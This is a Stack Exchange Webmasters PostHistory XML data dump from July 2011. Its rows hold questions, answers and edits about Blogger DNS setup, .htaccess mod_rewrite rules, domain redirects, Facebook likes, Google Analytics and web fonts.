  <row Id="41851" PostHistoryTypeId="1" PostId="17406" RevisionGUID="73bdbb40-dcb7-48c5-bae4-86c217536491" CreationDate="2011-07-26T09:57:57.097" UserId="233" Text="Does Stack Overflow use a microformat for questions/answers?" />
  <row Id="41852" PostHistoryTypeId="3" PostId="17406" RevisionGUID="73bdbb40-dcb7-48c5-bae4-86c217536491" CreationDate="2011-07-26T09:57:57.097" UserId="233" Text="&lt;microformats&gt;&lt;rich-snippets&gt;" />
  <row Id="41853" PostHistoryTypeId="5" PostId="17315" RevisionGUID="b7a0cbe8-f4e9-468e-a5f7-0419d820070a" CreationDate="2011-07-26T10:12:23.140" UserId="1009" Comment="deleted 666 characters in body" Text="&quot;custom domain&quot; means Google's computers handle requests for mysite.com and/or any subdomains like blog.mysite.com or www.mysite.com. **Google provides very detailed instructions for how to set this up: [How do I use a custom domain name for my blog?][1]** Can you point out which step you don't understand? Are you trying to redirect from a *sub-domain* or *top-level domain*?&#xD;&#xA;&#xD;&#xA;**The difference between top-level domain and subdomain:**&#xD;&#xA;&#xD;&#xA;Google help documentation asks you this question because different setup is needed for each case:&#xD;&#xA;&#xD;&#xA;&gt; Where would you like to host your blog?&#xD;&#xA;&gt; &#xD;&#xA;&gt; - On a top-level domain (www.example.com). &#xD;&#xA;&gt; - On a subdomain (foo.example.com).&#xD;&#xA;&#xD;&#xA;**Top-level domain:**&#xD;&#xA;&#xD;&#xA;- Going to mysite.com will go to the Google-hosted blog.&#xD;&#xA;- Set up by configuring [A records][2] to point to Google.&#xD;&#xA;- Example: [leftium.com][3]&#xD;&#xA;&#xD;&#xA;**Subdomain:**&#xD;&#xA;&#xD;&#xA;- Going to mysite.com may not go to non-Google-hosted content.&#xD;&#xA;- The blog is accessed by going to a specific subdomain, like blog.mysite.com or puzzles.mysite.com).&#xD;&#xA;- Set up by configuring [CNAME records][4] to point to Google.&#xD;&#xA;- Examples: [www.leftium.com][5], [blog.stackexchange.com][6]&#xD;&#xA;&#xD;&#xA;Note Top-level domain and subdomain can be configured simultaneously. Most people do this so mysite.com redirects to www.mysite.com.&#xD;&#xA;&#xD;&#xA;&lt;hr&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;*My guesses:*&#xD;&#xA;&#xD;&#xA;1. **In addition to CNAME records, you also need to configure the [A records (also called host records)][7].** The CNAME records just take care of sub-domains like *www*.domain.com or *blog*.domain.com. The A records describe how the actual top-level domain is processed. From the Google documentation:&#xD;&#xA;&gt; The following action links your naked domain (example.com) to your&#xD;&#xA;&gt; actual site (www.example.com). If you skip this step, visitors who&#xD;&#xA;&gt; leave off the &quot;www&quot; will see an error page.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Enter your domain name in the format example.com, and list the I.P.&#xD;&#xA;&gt; addresses shown below in the &quot;A&quot; section. You'll need to create four&#xD;&#xA;&gt; separate A-records which point to four different Google IPs.&#xD;&#xA;&gt;&#xD;&#xA;&gt;  216.239.32.21&lt;br&gt;&#xD;&#xA;&gt;  216.239.34.21&lt;br&gt;&#xD;&#xA;&gt;  216.239.36.21&lt;br&gt;&#xD;&#xA;&gt;  216.239.38.21&#xD;&#xA;&#xD;&#xA;2. **Update your Blogger settings (and wait).** You need to tell Blogger to expect requests from the custom domain and wait an hour (sometimes a few days) for the DNS changes to propagate.&#xD;&#xA;&#xD;&#xA;&lt;hr&gt;&#xD;&#xA;&#xD;&#xA;I don't recommend it, but there is an alternate, *slightly* simpler solution: many registrars support &quot;masked&quot; URL redirection. In your registrar's settings, just forward your domain to BLOGGER_ID.blogspot.com. This solution is domain-registrar-specific; NameCheap calls this option &quot;[Url Frame][8]&quot;.&#xD;&#xA;&#xD;&#xA;&lt;hr&gt;&#xD;&#xA;&#xD;&#xA;**update:**&#xD;&#xA;(GoDaddy's UI is a PITA, so I migrated to NameCheap.)&#xD;&#xA;&#xD;&#xA;I found the easiest way to modify DNS records at GoDaddy was to [export your zone file][9] as a text file, edit it, then [import it back to Godaddy][10]. Also try from Internet Explorer, to be safe. I've had issues with GoDaddy on other browsers.&#xD;&#xA;&#xD;&#xA;Add the relevant configuration line you need in the zone file (also remove any conflicting/unwanted entries) I am not sure if it makes a difference, but take note the white space between columns are TABS:&#xD;&#xA;&#xD;&#xA;    ; CNAME Records&#xD;&#xA;    puzzles	1800	IN	CNAME	ghs.google.com&#xD;&#xA;&#xD;&#xA;Also I have successfully pointed multiple CNAME records to ghs.google.com from GoDaddy. This is what my zone file looked like:&#xD;&#xA;&#xD;&#xA;    ; CNAME Records&#xD;&#xA;    www	1800	IN	CNAME	ghs.google.com&#xD;&#xA;    iknowjohn	1800	IN	CNAME	ghs.google.com&#xD;&#xA;    mail	3600	IN	CNAME	ghs.google.com&#xD;&#xA;    ftp	3600	IN	CNAME	@&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/blogger/bin/static.py?page=ts.cs&amp;ts=1233381&#xD;&#xA;  [2]: http://www.google.com/support/a/bin/answer.py?answer=48090#H&#xD;&#xA;  [3]: http://leftium.com&#xD;&#xA;  [4]: http://www.google.com/support/a/bin/answer.py?answer=48090#K&#xD;&#xA;  [5]: http://www.leftium.com&#xD;&#xA;  [6]: http://blog.stackexchange.com&#xD;&#xA;  [7]: http://www.google.com/support/a/bin/answer.py?answer=48090#H&#xD;&#xA;  [8]: http://namecheap.simplekb.com/kb.show/article/urlforwardingtypes&#xD;&#xA;  [9]: http://help.godaddy.com/article/4166&#xD;&#xA;  [10]: http://help.godaddy.com/article/4167" />
  <row Id="41854" PostHistoryTypeId="2" PostId="17407" RevisionGUID="96a82cf6-5f6f-4588-956e-44bfef40021d" CreationDate="2011-07-26T10:12:41.657" UserId="1643" Text="It certainly does look like Google is treating these sites specially. When you see results from discussion forums in Google search results it contains various helpful bits of information, like dates and numbers of replies. So it looks like Google has written custom parsers for various popular forum engines. This [blog post][1] from 2009 announces it as a feature but doesn't say how they do it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googleblog.blogspot.com/2009/09/surfacing-forum-posts-in-search-results.html" />
  <row Id="41855" PostHistoryTypeId="2" PostId="17408" RevisionGUID="a160963a-1bad-4b04-ae2d-a8c1c8aee96c" CreationDate="2011-07-26T10:34:07.157" UserId="1064" Text="&gt; Is Google treating these sites specially?&#xD;&#xA;&#xD;&#xA;As paulmorriss mentioned, Google does apply an algorithmic means for identifying forums and, interestingly enough, Yahoo Answers and Ask.MetaFilter show similar snippets (search &quot;[Does my dog have fleas?][1]&quot; or &quot;[What does my cat think I am?][2]&quot; ... ?!) so it's quite possible that Google is treating sites with a few key indicators (i.e. 90% of `&lt;h1&gt;`'s include a question mark, words &quot;question&quot; and &quot;answer&quot; appear on every page, etc) as Q/A sites pending the introduction of a formal schema.&#xD;&#xA;&#xD;&#xA;From a review of sites in question (Y!A, Ask.MetaFilter, Quora) there does not appear to be any consistent formatting beyond the aforementioned use of &quot;?&quot; in the heading and the appearance of the words &quot;question&quot; and &quot;answer&quot; throughout most pages.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/search?q=does%20my%20dog%20have%20fleas&#xD;&#xA;  [2]: http://www.google.com/search?hl=en&amp;safe=off&amp;q=what%20does%20my%20cat%20think%20i%20am&amp;aq=f&amp;aqi=g1&amp;aql=&amp;oq=" />
  <row Id="41856" PostHistoryTypeId="2" PostId="17409" RevisionGUID="4c8465c0-c9ba-4bf7-bb92-be2d429d0e2e" CreationDate="2011-07-26T10:40:21.727" UserId="9173" Text="I am trying to get the URL www.mysitedomain.com/blogs/*displaynamehere* to show what is in the directory at&#xD;&#xA; www.mysitedomain.com/blogs/blog.php$display=*displaynamehere*&#xD;&#xA;&#xD;&#xA;So thanks to the people who helped me here I know I need to use a Mod Rewrite&#xD;&#xA;http://webmasters.stackexchange.com/questions/17304/how-to-make-parameters-look-more-attractive&#xD;&#xA;&#xD;&#xA;The contents of my HT access is at follows. The first is a re direct generated by my hosting, the second is my attempt at the mod re write which is not working.&#xD;&#xA;&#xD;&#xA;    # DO NOT REMOVE THIS LINE AND THE LINES BELOW REDIRECTID:Hjz5g3&#xD;&#xA;    RewriteEngine on&#xD;&#xA;    RewriteCond %{HTTP_HOST} ^joelhoskin.net76.net$ [OR]&#xD;&#xA;    RewriteCond %{HTTP_HOST} ^www.joelhoskin.net76.net$&#xD;&#xA;    RewriteRule ^$ http://www.joelhoskin.net76.net/flexdevs [R=301,L]&#xD;&#xA;    # DO NOT REMOVE THIS LINE AND THE LINES ABOVE Hjz5g3:REDIRECTID&#xD;&#xA;    &#xD;&#xA;    RewriteEngine On&#xD;&#xA;    RewriteCond %{HTTP_HOST} ^joelhoskin.net76.net/blogs/(.*)$ [OR]&#xD;&#xA;    RewriteCond %{HTTP_HOST} ^www.joelhoskin.net76.net/blogs/(.*)$&#xD;&#xA;    RewriteRule ^$ http://www.joelhoskin.net76.net/blogs/blog.php?display=$1 [L]&#xD;&#xA;&#xD;&#xA;Thanks everyone&#xD;&#xA;&#xD;&#xA;" />
  <row Id="41857" PostHistoryTypeId="1" PostId="17409" RevisionGUID="4c8465c0-c9ba-4bf7-bb92-be2d429d0e2e" CreationDate="2011-07-26T10:40:21.727" UserId="9173" Text="Mod Rewrite not working" />
  <row Id="41858" PostHistoryTypeId="3" PostId="17409" RevisionGUID="4c8465c0-c9ba-4bf7-bb92-be2d429d0e2e" CreationDate="2011-07-26T10:40:21.727" UserId="9173" Text="&lt;apache&gt;&lt;mod-rewrite&gt;" />
  <row Id="41859" PostHistoryTypeId="2" PostId="17410" RevisionGUID="f2c0342a-12f4-4335-9c6a-e3382f11b195" CreationDate="2011-07-26T10:46:06.667" UserId="1643" Text="The host shouldn't contain anything after the slash. So you want:&#xD;&#xA;&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    RewriteCond %{HTTP_HOST} ^joelhoskin.net76.net$ [OR]&#xD;&#xA;    RewriteCond %{HTTP_HOST} ^www.joelhoskin.net76.net$&#xD;&#xA;    RewriteRule ^blogs\/(.*)$ http:\/\/www\.joelhoskin\.net76\.net\/blogs\/blog\.php?display=$1 [L]" />
  <row Id="41860" PostHistoryTypeId="17" PostId="17411" RevisionGUID="4466c577-228f-4cfe-a378-6e1989c2ec46" CreationDate="2011-07-26T11:13:58.510" UserId="-1" Comment="from http://stackoverflow.com/questions/6828906/i-have-2-domains-one-main-one-parked-i-recently-switched-but-host-provider-told" Text="" />
  <row Id="41861" PostHistoryTypeId="2" PostId="17411" RevisionGUID="524ba3d7-da21-47f5-92fa-ac973ab4c843" CreationDate="2011-07-26T10:50:25.990" UserDisplayName="moray" Text="i wanted to switch my site from www.mutantspace.ie to [www.mutantspace.com][1]. Up until now the .com was my parked domain. I looked into it and was told that using this code in my .htaccess file in www.mutantspace.ie would work: &#xD;&#xA;&#xD;&#xA;    RewriteEngine on&#xD;&#xA;    RewriteCond %{http_host} !^www.mutantspace.ie$ [nc]&#xD;&#xA;    RewriteRule ^(.*)$ http://www.mutantspace.com/$1 [r=301,nc,L] &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I then asked my provider and he said 'Where are you moving too though?' Then he told me best way was for them to repoint site to www.mutantspace.com.&#xD;&#xA;I said fine (in my ignorance) and that is whats happened.&#xD;&#xA;&#xD;&#xA;However even though new URLs are being indexed I have 100s of old URLs out there returning 404s. Now i cant access my old .htaccess file to put in permanent redirects because its now .com. Is there any code i can use anywhere im my root directory that will redirect old www.mutantspace.ie pages to their corresponding www.mutantspace.com/ pages?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.mutantspace.com" />
  <row Id="41862" PostHistoryTypeId="1" PostId="17411" RevisionGUID="524ba3d7-da21-47f5-92fa-ac973ab4c843" CreationDate="2011-07-26T10:50:25.990" UserDisplayName="moray" Text="i have 2 domains one main, one parked. I recently switched but host provider told me theyd repoint the DNS but there are problems?do it via DS" />
  <row Id="41863" PostHistoryTypeId="3" PostId="17411" RevisionGUID="524ba3d7-da21-47f5-92fa-ac973ab4c843" CreationDate="2011-07-26T10:50:25.990" UserDisplayName="moray" Text="&lt;htaccess&gt;&lt;redirects&gt;" />
  <row Id="41864" PostHistoryTypeId="17" PostId="17412" RevisionGUID="cffdd36b-0578-4805-8d75-14d5d81cb5eb" CreationDate="2011-07-26T11:33:33.947" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/13890/looking-for-a-support-portal-where-users-have-a-dedicated-rep" Text="" />
  <row Id="41865" PostHistoryTypeId="2" PostId="17412" RevisionGUID="1d930925-38e8-4cd9-a16c-cd54ccb43e1c" CreationDate="2011-03-27T20:58:12.987" UserDisplayName="Jim" Text="I'm looking for a (hopefully) hosted app that would let me have my customers interact with customer support; but unlike Assistly or any of the million help desk apps out there, each user will have a dedicated rep.  When they log in, I want them to see their rep's picture, email, phone number right on the side of the page, and all the interaction will be directly between the customer and their rep.  FAQ, general CMS, etc are all fine as bonuses, but not the most important thing.&#xD;&#xA;&#xD;&#xA;Anything like this exist?&#xD;&#xA;" />
  <row Id="41866" PostHistoryTypeId="1" PostId="17412" RevisionGUID="1d930925-38e8-4cd9-a16c-cd54ccb43e1c" CreationDate="2011-03-27T20:58:12.987" UserDisplayName="Jim" Text="Looking for a support portal where users have a dedicated rep" />
  <row Id="41867" PostHistoryTypeId="3" PostId="17412" RevisionGUID="1d930925-38e8-4cd9-a16c-cd54ccb43e1c" CreationDate="2011-03-27T20:58:12.987" UserDisplayName="Jim" Text="&lt;crm&gt;&lt;customer-service&gt;" />
  <row Id="41868" PostHistoryTypeId="6" PostId="17395" RevisionGUID="caa46476-7afb-4534-846e-0fc43df8d664" CreationDate="2011-07-26T11:36:44.990" UserId="1253" Comment="modified tags" Text="&lt;looking-for-a-script&gt;" />
  <row Id="41869" PostHistoryTypeId="6" PostId="17412" RevisionGUID="00e0a9b5-b107-42ed-9aa2-22a25a27e779" CreationDate="2011-07-26T11:37:59.060" UserId="1253" Comment="edited tags" Text="&lt;looking-for-a-script&gt;&lt;customer-service&gt;&lt;crm&gt;" />
  <row Id="41870" PostHistoryTypeId="2" PostId="17413" RevisionGUID="ef527341-d092-4ada-b69d-0881fa1d7088" CreationDate="2011-07-26T11:46:36.937" UserId="233" Text="If you had one hosting account for the `.ie` domain, then simply pointing the `.com` to the same hosting would be the simplest, to avoid having to move/upload files. Then set the `.ie` domain to redirect to the `.com`.&#xD;&#xA;&#xD;&#xA;It sounds like your host did the first part, but have ignored the `.ie` domain. Depending on where the domain is held, you should be able to set up a redirect to the `.com`. Some domain providers do this well, redirecting the domain and all sub pages with a 301 redirect. Other providers only redirect the root domain, or redirect all requests from one domain to a single domain (i.e. a URL like `example.ie/page` goes to `example.com` - this is not what you want).&#xD;&#xA;&#xD;&#xA;Alternatively, point both domains to the same hosting and use the `.htaccess` as above to do the redirecting." />
  <row Id="41873" PostHistoryTypeId="25" PostId="17406" RevisionGUID="a1a5eff0-64e9-40dc-81a3-fdf5922b460a" CreationDate="2011-07-26T12:32:00.617" Comment="http://twitter.com/#!/StackWebmasters/status/95833747399786496" />
  <row Id="41880" PostHistoryTypeId="5" PostId="17410" RevisionGUID="33107580-5e4a-4f44-b6f9-427a7d1b8439" CreationDate="2011-07-26T13:12:19.520" UserId="1643" Comment="added 42 characters in body" Text="The host shouldn't contain anything after the slash. So you want:&#xD;&#xA;&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    RewriteCond %{HTTP_HOST} ^joelhoskin.net76.net$ [OR]&#xD;&#xA;    RewriteCond %{HTTP_HOST} ^www.joelhoskin.net76.net$&#xD;&#xA;    RewriteCond %{PATH_INFO} !^blogs\/blog\.php$&#xD;&#xA;    RewriteRule ^blogs\/(.*)$ http://www.joelhoskin.net76.net/blogs/blog.php?display=$1 [L]" />
  <row Id="41881" PostHistoryTypeId="2" PostId="17416" RevisionGUID="9a11a1c9-b524-4318-b037-3b92f8aa7f23" CreationDate="2011-07-26T13:16:51.667" UserId="5727" Text="We have a 'Website Page' on Facebook that people like and we post all our news on it etc.&#xD;&#xA;&#xD;&#xA;We also have a 'like' button on our website which people click on.  When they click on it it seems to publish our page onto their wall which is great.&#xD;&#xA;&#xD;&#xA;However, we would like it so when people press 'like' on our website, it 'likes' our Facebook website page.  Both counters are different, on our Facebook website page we have ~350 likes, on our website we have ~280 likes they seem to be individuals.&#xD;&#xA;&#xD;&#xA;Any way we can make people 'like' our website page on FB?" />
  <row Id="41882" PostHistoryTypeId="1" PostId="17416" RevisionGUID="9a11a1c9-b524-4318-b037-3b92f8aa7f23" CreationDate="2011-07-26T13:16:51.667" UserId="5727" Text="Confused about facebook like" />
  <row Id="41883" PostHistoryTypeId="3" PostId="17416" RevisionGUID="9a11a1c9-b524-4318-b037-3b92f8aa7f23" CreationDate="2011-07-26T13:16:51.667" UserId="5727" Text="&lt;facebook&gt;&lt;like&gt;" />
  <row Id="41884" PostHistoryTypeId="5" PostId="17410" RevisionGUID="07983cb0-2c33-42d2-a746-6b7204011715" CreationDate="2011-07-26T13:31:43.623" UserId="1643" Comment="added 32 characters in body" Text="The host shouldn't contain anything after the slash. So you want:&#xD;&#xA;&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    RewriteCond %{HTTP_HOST} ^joelhoskin.net76.net$ [OR]&#xD;&#xA;    RewriteCond %{HTTP_HOST} ^www.joelhoskin.net76.net$&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-d&#xD;&#xA;    RewriteRule ^blogs\/(.*)$ http://www.joelhoskin.net76.net/blogs/blog.php?display=$1 [L]" />
  <row Id="41885" PostHistoryTypeId="2" PostId="17417" RevisionGUID="9652196b-a386-45f0-ba81-d2619f088323" CreationDate="2011-07-26T13:54:41.153" UserId="9201" Text="Sorry, Metalshark, I couldn't provide a link. Thanks for trying to help though. A colleague found this question when he was searching for a solution as well. The solution in our case was fairly specific to a product we are using, but I will give the gist of it in case it helps anyone else looking in the future.&#xD;&#xA;&#xD;&#xA;The problem came down to MIME types and how we were sending them across to other applications. Specifically we had to account for the following (some we already had, others we had to add to complete the set):&#xD;&#xA;&#xD;&#xA;	// Microsoft Office MIME Types for Excel and Word&#xD;&#xA;	PDF = &quot;application/pdf&quot;;&#xD;&#xA;	XLS = &quot;application/vnd.ms-excel&quot;;&#xD;&#xA;	LXLS = &quot;application/excel&quot;; // Legacy Excel MIME Type&#xD;&#xA;	DOC = &quot;application/msword&quot;;&#xD;&#xA;	XLSX = &quot;application/vnd.openxmlformats-officedocument.spreadsheetml.sheet&quot;;&#xD;&#xA;	DOCX = &quot;application/vnd.openxmlformats-officedocument.wordprocessingml.document&quot;;&#xD;&#xA;&#xD;&#xA;	// Graphic file MIME Types&#xD;&#xA;	GIF = &quot;image/gif&quot;;&#xD;&#xA;	PNG = &quot;image/png&quot;;&#xD;&#xA;	PNGX = &quot;image/x-png&quot;; // Because M$ felt a need to be non-standard in IE7&#xD;&#xA;	JPG = &quot;image/jpeg&quot;;&#xD;&#xA;	PJPG = &quot;image/pjpeg&quot;; // Because M$ felt a need to be non-standard with progressive JPEGs&#xD;&#xA;&#xD;&#xA;Most notably the New Office types and the proprietary Microsoft image types were the fix." />
  <row Id="41886" PostHistoryTypeId="5" PostId="17385" RevisionGUID="3b26cdac-4bf4-414a-a89c-2542ae03cb63" CreationDate="2011-07-26T14:45:55.447" UserId="1643" Comment="put line spacing in" Text="1) you can trim .html&#xD;&#xA;&#xD;&#xA;2) second case maybe better cause / separes phrase in path, but we speak about microscopic factor&#xD;&#xA;&#xD;&#xA;3) if you use redirect 301 near 100% of rank goes to destination page" />
  <row Id="41887" PostHistoryTypeId="2" PostId="17418" RevisionGUID="d6771c3f-6215-4596-a67f-b84dd01ad6af" CreationDate="2011-07-26T14:56:23.003" UserId="4306" Text="The Like button in your website header seems to be tracking correctly. The following _utm.gif request is being made:&#xD;&#xA;&#xD;&#xA;&gt; `http://www.google-analytics.com/__utm.gif?utmwv=5.1.1&amp;utms=3&amp;utmn=902823811&amp;utmhn=www.paulolyslager.com`&#xD;&#xA;&gt; `&amp;utmt=**social**&amp;utmsn=**facebook**&amp;utmsa=**like**`&#xD;&#xA;&gt; `&amp;utmsid=http%3A%2F%2Fwww.facebook.com%2Fpages%2FPaul-Olyslager%2F196237920420&amp;...`" />
  <row Id="41888" PostHistoryTypeId="5" PostId="17418" RevisionGUID="73d31222-a5b7-4491-81bd-3c62e859360c" CreationDate="2011-07-26T15:04:13.903" UserId="4306" Comment="improved answer" Text="The Like button in your website header seems to be tracking correctly. The following _utm.gif request is being made:&#xD;&#xA;&#xD;&#xA;&gt; `http://www.google-analytics.com/__utm.gif?`&#xD;&#xA;&gt; `utmwv=5.1.1&amp;utms=3&amp;utmn=902823811&amp;utmhn=www.paulolyslager.com`&#xD;&#xA;&gt; `&amp;utmt=social&amp;utmsn=facebook&amp;utmsa=like`&#xD;&#xA;&gt; `&amp;utmsid=http%3A%2F%2Fwww.facebook.com%2Fpages...`&#xD;&#xA;&#xD;&#xA;The links in the social bar on the left-side of each post will *not* be tracked, because the social actions script is designed to hook into specific events raised by Twitter and Facebook. These events are not called by the share actions in he social bar.&#xD;&#xA;&#xD;&#xA;**Edit:** the Like buttons for each post on the homepage are working also. Is this issue resolved?" />
  <row Id="41889" PostHistoryTypeId="2" PostId="17419" RevisionGUID="1c5136e3-160e-418a-aedf-ad3797457d70" CreationDate="2011-07-26T15:16:54.797" UserId="9202" Text="I'm fond of [Icecast][1], the open source version of Shoutcast which is popular for Internet streaming. It hasn't had a new official release in a few years, but one developer has his [own branch][2] that's added some extra features and bug fixes.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.icecast.org&#xD;&#xA;  [2]: http://www.xiphicecast.webspace.virginmedia.com" />
  <row Id="41890" PostHistoryTypeId="25" PostId="17416" RevisionGUID="86ea02e4-5234-4d02-999d-f9033983563a" CreationDate="2011-07-26T15:32:00.853" Comment="http://twitter.com/#!/StackWebmasters/status/95879046600212480" />
  <row Id="41891" PostHistoryTypeId="2" PostId="17420" RevisionGUID="0d8481e1-92c8-4c67-8308-44191396708f" CreationDate="2011-07-26T15:43:40.560" UserId="61" Text="There is a Firefox addon called &#xD;&#xA;&#xD;&#xA;**CSS Usage ([https://addons.mozilla.org/en-US/firefox/addon/css-usage/][1])** &#xD;&#xA;&#xD;&#xA;which shows all styles used/unused on a page. &#xD;&#xA;&#xD;&#xA;It claims to do multiple pages but in my experience it seems to be somewhat unreliable in its results. Regardless it has helped me out a bunch in the past.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://addons.mozilla.org/en-US/firefox/addon/css-usage/" />
  <row Id="41892" PostHistoryTypeId="2" PostId="17421" RevisionGUID="241dfbd0-49e4-4913-a556-129d6ba2e191" CreationDate="2011-07-26T16:11:14.530" UserId="9203" Text="http://disqus.com/addons/ - &quot;Professional&quot; package has **SSO** support" />
  <row Id="41893" PostHistoryTypeId="2" PostId="17422" RevisionGUID="fa28ed5a-531a-4f06-9651-4f4b199572b1" CreationDate="2011-07-26T16:37:28.893" UserId="9204" Text="I can see &quot;googleads.g.doubleclick.net/pagead/ads....&quot; as a referrer on my website. However I am not running any google ads. So how am I getting the traffic?" />
  <row Id="41894" PostHistoryTypeId="1" PostId="17422" RevisionGUID="fa28ed5a-531a-4f06-9651-4f4b199572b1" CreationDate="2011-07-26T16:37:28.893" UserId="9204" Text="I can see traffic coming from google ads, even though I don't have any google ads running, how is that possible?" />
  <row Id="41895" PostHistoryTypeId="3" PostId="17422" RevisionGUID="fa28ed5a-531a-4f06-9651-4f4b199572b1" CreationDate="2011-07-26T16:37:28.893" UserId="9204" Text="&lt;adwords&gt;&lt;referrer&gt;" />
  <row Id="41896" PostHistoryTypeId="5" PostId="16941" RevisionGUID="a3131d26-5f0d-4de4-930f-b39967ac18aa" CreationDate="2011-07-26T16:43:46.907" UserId="5806" Comment="deleted 1236 characters in body" Text="**EDIT**: Reworded &amp; Cleaned Up to Ease Understanding&#xD;&#xA;&#xD;&#xA;There has been a significant drop (90%) in traffic from Google to one of my well-established sites (6+ years) in the last week. Searches show that the top 3 wide keywords all dropped 4 spots. Searches for other keywords do not show ANY results in the first 10 to 25 pages of results, while previously one 1st or 2nd page at most.&#xD;&#xA;&#xD;&#xA;Since there are [200 factors for ranking][1], the question really is:&#xD;&#xA;&#xD;&#xA;**What steps are necesary to figure out what caused such a drop?**&#xD;&#xA;&#xD;&#xA;There has been no major changes during this period or the last month on the site and certainly not in the homepage which has dropped rank. Over all the years of running this site and plenty of others, I have never experienced this. There are no duplicate content on my site and I have rigorously used canonical links for the last few years to ensure it is not misinterpreted as such.&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/11327/googles-200-ranking-factors&#xD;&#xA;" />
  <row Id="41897" PostHistoryTypeId="2" PostId="17423" RevisionGUID="f3b17970-2e7d-4b54-9f01-6bc72ca0641c" CreationDate="2011-07-26T16:49:51.100" UserId="9205" Text="We switched from a PHP application to a Rails application last week.  I ran daily reports and everything looked fine. &#xD;&#xA;When I ran a weekly content report it gave me data for index.php which doesnt exist anymore. The funny thing is that is looks spot on  for page views. &#xD;&#xA;This also made me wonder how analytics would record &quot;/&quot; in a Rails app.&#xD;&#xA;I ran it through Fiddler, there is no redirect just a 404.  I view source on the 404 and there is no tracking code.&#xD;&#xA;&#xD;&#xA;I am pretty baffled. Anyone know what could be going on ?" />
  <row Id="41898" PostHistoryTypeId="1" PostId="17423" RevisionGUID="f3b17970-2e7d-4b54-9f01-6bc72ca0641c" CreationDate="2011-07-26T16:49:51.100" UserId="9205" Text="Google analytics giving data for pages that dont' exist" />
  <row Id="41899" PostHistoryTypeId="3" PostId="17423" RevisionGUID="f3b17970-2e7d-4b54-9f01-6bc72ca0641c" CreationDate="2011-07-26T16:49:51.100" UserId="9205" Text="&lt;google-analytics&gt;" />
  <row Id="41900" PostHistoryTypeId="2" PostId="17424" RevisionGUID="22cfd759-2d80-479e-a097-0292622583ce" CreationDate="2011-07-26T16:53:58.167" UserId="9206" Text="We saw the same thing a few weeks ago. We got a massive surge of traffic reported that had nothing to do with our site.&#xD;&#xA;&#xD;&#xA;The following URL might help:&#xD;&#xA;&#xD;&#xA;http://www.blastam.com/blog/index.php/2011/06/are-rogue-sites-influencing-your-google-analytics-data/" />
  <row Id="41901" PostHistoryTypeId="2" PostId="17425" RevisionGUID="3f9e8427-a65f-4f27-a0bf-e525dc59d5bc" CreationDate="2011-07-26T16:56:38.587" UserId="9206" Text="It may be worth a try, but our experience has been that Bing doesn't generate more than a small fraction of Google's volume." />
  <row Id="41902" PostHistoryTypeId="2" PostId="17426" RevisionGUID="dd9642ff-6c13-43d7-9c77-54cff5314ce9" CreationDate="2011-07-26T17:00:43.413" UserId="7369" Text="Found some curious CSS in the source for http://contrastrebellion.com/:&#xD;&#xA;&#xD;&#xA;    font-family: restore-n8, restore-1, restore-2, sans-serif;&#xD;&#xA;&#xD;&#xA;`Restore-n8` and the like don't seem to be font names. What does this CSS snippet do?" />
  <row Id="41903" PostHistoryTypeId="1" PostId="17426" RevisionGUID="dd9642ff-6c13-43d7-9c77-54cff5314ce9" CreationDate="2011-07-26T17:00:43.413" UserId="7369" Text="Curious CSS: &quot;font-family: restore-n8;&quot;" />
  <row Id="41904" PostHistoryTypeId="3" PostId="17426" RevisionGUID="dd9642ff-6c13-43d7-9c77-54cff5314ce9" CreationDate="2011-07-26T17:00:43.413" UserId="7369" Text="&lt;css&gt;&lt;fonts&gt;" />
  <row Id="41905" PostHistoryTypeId="5" PostId="17384" RevisionGUID="2e54387c-cd22-4480-81ee-350f70423b94" CreationDate="2011-07-26T17:06:07.683" UserId="9190" Comment="deleted 96 characters in body; edited title" Text="Since I am not based in China or have access to any computers in China I can't test this myself. Is there a web service or tool (free) I can use to send a test email to an email address to see if it is received or blocked by the Great Firewall of China? &#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="41906" PostHistoryTypeId="4" PostId="17384" RevisionGUID="2e54387c-cd22-4480-81ee-350f70423b94" CreationDate="2011-07-26T17:06:07.683" UserId="9190" Comment="deleted 96 characters in body; edited title" Text="Problems receiving emails sent from China, is there a tool/web service I can use to test if it is being blocked?" />
  <row Id="41907" PostHistoryTypeId="2" PostId="17427" RevisionGUID="7c80db44-4256-4a6d-8c53-a3832fe1234d" CreationDate="2011-07-26T17:20:43.457" UserId="8957" Text="Tried to do a search on it, but it seems like you can only use font-family for font families. Therefore i will assume that restore-n8 actually is a font (probably one that they made themselves). I suppose it's also possible that they used some tool to create the css and it failed somehow and spit out that line.&#xD;&#xA;don't know what else it could be." />
  <row Id="41908" PostHistoryTypeId="2" PostId="17428" RevisionGUID="b08b488a-1a76-4ce1-b7f7-3c4cb3b55746" CreationDate="2011-07-26T17:27:06.823" UserId="4502" Text="It's &lt;a href=&quot;http://typekit.com/fonts/restore&quot;&gt;Restore&lt;/a&gt;, served by TypeKit. Check the document head." />
  <row Id="41909" PostHistoryTypeId="25" PostId="17423" RevisionGUID="0911e213-764b-468a-86e5-46acf5fa8932" CreationDate="2011-07-26T18:32:01.637" Comment="http://twitter.com/#!/StackWebmasters/status/95924345678991361" />
